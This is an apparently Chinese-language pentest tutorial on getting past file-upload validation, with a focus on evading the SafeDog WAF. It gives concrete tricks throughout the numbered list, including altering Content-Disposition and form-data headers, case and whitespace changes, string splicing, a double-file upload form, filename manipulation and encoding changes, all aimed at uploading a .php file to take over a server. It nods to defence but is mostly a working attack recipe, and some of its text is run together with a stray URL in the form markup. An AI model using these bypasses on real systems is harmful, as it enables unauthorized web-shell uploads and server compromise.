文件上传绕过

文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接 。
但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识 。
俗话说,知己知彼方能百战不殆,因此想要研究怎么防护漏洞,就要了解怎么去利用 。
文件上传校验姿势常见有这些客户端JAVAscript校验(一般只校验后缀名)服务端校验文件头content-type字段校验(image/gif)文件内容头校验(GIF89a)后缀名黑名单校验后缀名白名单校验自定义正则校验WAF设备校验(根据不同的WAF产品而定)以下我们分类总结一下绕过手段这里我们分类总结一下绕过手段WAF绕过安全狗绕过1.绕过思路:对文件的内容,数据,数据包进行处理 。
关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"将form-data;修改为~form-data;2.通过替换大小写来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"Content-Type: Application/octet-stream将Content-Disposition修改为content-Disposition将 form-data 修改为Form-data将Content-Type修改为content-Type3.通过删减空格来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"Content-Type: application/octet-stream将Content-Disposition: form-data 冒号后面增加或减少一个空格将form-data; name="file";分号后面增加或减少一个空格将Content-Type: application/octet-stream 冒号后面增加一个空格4.通过字符串拼接绕过
看Content-Disposition: form-data; name="file"; filename="yjh3.php"将 form-data 修改为 f+orm-data将from-data 修改为 form-d+ata5.双文件上传绕过
<formaction="https://www.xxx.com/xxx.asp(php)"method="post"name="form1"enctype="multipart/form‐data"><inputname="FileName1"type="FILE"class="tx1"size="40"><inputname="FileName2"type="FILE"class="tx1"size="40"><inputtype="submit"name="Submit"value=https://www.isolves.com/it/aq/sj/2020-07-20/"上传">6.HTTP header 属性值绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"我们通过替换form-data 为*来绕过Content-Disposition:*; name="file"; filename="yjh.php"7.HTTP header 属性名称绕过
源代码:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png绕过内容如下:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngC.php"删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".8.等效替换绕过
原内容:Content-Type: multipart/form-data; boundary=---------------------------471463142114修改后:Content-Type: multipart/form-data; boundary =---------------------------471463142114boundary后面加入空格 。9.修改编码绕过
【文件上传绕过】使用UTF-16、Unicode、双URL编码等等WTS-WAF 绕过上传


    推荐阅读